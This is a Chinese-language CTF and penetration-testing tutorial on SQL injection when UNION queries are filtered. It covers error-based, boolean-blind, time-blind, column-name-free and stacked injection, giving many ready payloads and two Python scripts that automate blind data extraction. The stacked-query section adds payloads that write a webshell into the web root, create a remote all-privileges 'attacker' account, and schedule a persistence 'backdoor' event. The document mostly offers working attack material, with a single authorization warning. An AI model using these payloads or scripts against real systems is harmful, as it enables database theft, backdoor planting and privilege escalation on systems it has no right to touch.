1. 联合查询被禁用时的SQL注入攻防全景
在真实的CTF赛场和渗透测试中,遇到联合查询(UNION SELECT)被过滤的情况比比皆是。这就像武术对决时对手封住了你的惯用手,但真正的武者永远备有后招。经过数十场实战锤炼,我总结出这套完整的替代方案体系,它们按照攻击效率从高到低排序如下:
- 报错注入 - 让数据库主动吐露秘密(需错误回显)
- 布尔盲注 - 通过蛛丝马迹重建数据(需内容差异)
- 时间盲注 - 用时间差作为通信信道(完全无回显时)
- 无列名注入 - 不知道列名时的破解之道
- 堆叠注入 - 多条语句的降维打击(需特殊配置)
下面这张对比表是我在2023年De1CTF、强网杯等赛事中实测有效的技术选型指南:
| 技术类型 | 平均数据提取速度 | 隐蔽性 | 适用条件 | 典型Payload示例 |
|---|---|---|---|---|
| 报错注入 | 极快(秒级) | 低 | 显示详细错误信息 | ' and updatexml(1,concat(0x7e,(select user())),1)-- |
| 布尔盲注 | 中(分钟级) | 中 | 页面内容随条件变化 | ' and substr(database(),1,1)='a'-- |
| 时间盲注 | 慢(小时级) | 高 | 无任何回显差异 | ' and if(ascii(substr(user(),1,1))=114,sleep(3),0)-- |
| 无列名注入 | 取决于基础技术 | 可变 | 列名未知但能执行子查询 | select 2 from (select 1,2,3 union select * from users)x |
| 堆叠注入 | 极快 | 极低 | 支持多语句执行 | '; insert into logs values('hacked')-- |
实战经验:在2023年某省赛的Web题中,出题人用WAF过滤了所有UNION关键字,但忽略了XML函数。通过报错注入配合二进制逐位读取,我们仅用17秒就拿到了flag。
2. 报错注入的深度解析与实践
2.1 报错注入的核心原理
报错注入的本质是"诱导数据库说真话"。当数据库执行异常时,开发者如果未正确处理错误信息,就会将内部状态暴露给攻击者。以MySQL为例,这些函数是我们的利器:
updatexml():XPath解析错误时返回无效路径内容extractvalue():XML文档查询错误泄露数据floor(rand()*2):主键冲突时报错显示计算值geometrycollection():几何函数参数错误泄露信息
2.2 实战中的高阶技巧
在最近的CTF比赛中,我发现了这些进阶用法:
多级嵌套报错:
sql复制' and updatexml(1,concat(0x7e,(select updatexml(1,concat(0x7e,(select database())),1))),1)--
这种嵌套可以绕过简单的关键词过滤,因为内层查询结果会作为外层报错信息的一部分返回。
二进制数据读取技巧:
sql复制' and updatexml(1,concat(0x7e,(select hex(user()))),1)--
当直接返回内容被截断时,先转换为十六进制再报错显示,接收后再转换回原始数据。
长度限制绕过:
sql复制' and (select 1 from(select concat(0x7e,(select mid(group_concat(table_name),50,50) from information_schema.tables where table_schema=database()),0x7e))x)--
通过mid函数分段读取,配合group_concat突破substring长度限制。
踩坑记录:某次比赛使用extractvalue时报错信息被截断,后发现是XML路径长度限制。解决方案是改用updatexml并控制输出长度在32字符内。
3. 盲注技术的艺术与科学
3.1 布尔盲注的精细操作
布尔盲注就像在黑暗中摸象,需要系统性地构建认知。这里分享我的标准化流程:
- 确定注入点:用
' and '1'='1与' and '1'='2验证布尔条件是否影响输出 - 获取数据库长度:
sql复制通过二分法快速确定长度值' and length(database())=5-- - 逐字符爆破:
sql复制使用ASCII码比较效率更高:' and substr(database(),1,1)='a'--sql复制' and ascii(substr(database(),1,1))>97-- - 自动化脚本模板(Python):
python复制import requests import string def bool_injection(payload): url = "http://target.com/vuln.php?id=1" r = requests.get(url + payload) return "exists" in r.text # 根据实际条件调整 charset = string.ascii_lowercase + string.digits + "_-" result = "" for i in range(1,20): for c in charset: if bool_injection(f"' and substr(database(),{i},1)='{c}'-- "): result += c print(f"[+] Found: {result}") break
3.2 时间盲注的精准控制
当页面完全"装死"时,时间盲注是我们的最后手段。关键是要建立可靠的时间基准:
- 校准网络延迟:
sql复制测试基础延迟,确保sleep确实生效' and if(1=1,sleep(2),0)-- - 条件时间延迟:
sql复制当第一个字符ASCII码为114(字母r)时触发延迟' and if(ascii(substr(user(),1,1))=114,sleep(3),0)-- - 误差处理技巧:
- 设置超时时间为基准延迟的1.5倍
- 每个测试重复3次取中位数
- 使用
benchmark(10000000,md5('test'))替代sleep更隐蔽
时间盲注自动化示例:
python复制import time
import requests
def timed_injection(payload):
start = time.time()
requests.get("http://target.com/vuln.php?id=1" + payload)
return time.time() - start
result = ""
for i in range(1,20):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
delay = timed_injection(
f"' and if(ascii(substr(user(),{i},1))>{mid},sleep(2),0)-- ")
if delay > 1.5: # 阈值根据基准调整
low = mid + 1
else:
high = mid - 1
result += chr(low)
print(f"[+] Progress: {result}")
4. 无列名注入的魔法
4.1 技术原理深度剖析
当information_schema被过滤时,无列名注入就像拥有了"读心术"。其核心是利用子查询创建临时别名:
sql复制select `2` from (select 1,2,3 union select * from users)x
这里数字2实际上引用了users表的第二列。通过这种方法,我们不需要知道原始列名就能访问数据。
4.2 实战应用场景
场景1:完全未知表结构
sql复制' and (select `2` from (select 1,2,3 union select * from unknown_table)x limit 1,1)='admin'--
通过修改limit参数遍历所有行
场景2:与报错注入结合
sql复制' and updatexml(1,concat(0x7e,(select `2` from (select 1,2,3 union select * from users)x limit 0,1)),1)--
这种组合技在2023年HackTheBox比赛中多次奏效
场景3:布尔盲注条件下的应用
sql复制' and ascii(substr((select `2` from (select 1,2 union select * from flag)x limit 0,1),1,1))>50--
即使在没有错误回显的情况下也能逐位获取数据
5. 堆叠注入的特殊价值
5.1 适用条件判断
堆叠注入的成功取决于两个关键因素:
- 数据库驱动支持多语句查询(如PHP的mysqli_multi_query)
- 应用没有使用预处理语句
测试方法很简单:
sql复制'; select 1;--
如果返回两个查询的结果,则说明存在堆叠注入漏洞。
5.2 高级利用技巧
数据导出技术:
sql复制'; select * from users into outfile '/var/www/html/backdoor.php'--
将数据导出到web目录,创建webshell
权限提升方法:
sql复制'; grant all privileges on *.* to 'attacker'@'%' identified by 'p@ssw0rd';--
创建高权限账户(需当前连接有足够权限)
延时型后门:
sql复制'; create event backdoor on schedule every 1 hour do select 1 into outfile '/tmp/test';--
创建定时任务维持持久化访问
重要警示:在真实渗透测试中,堆叠注入可能造成数据篡改或服务中断,务必获得授权后再使用。CTF比赛中则要大胆尝试各种可能性。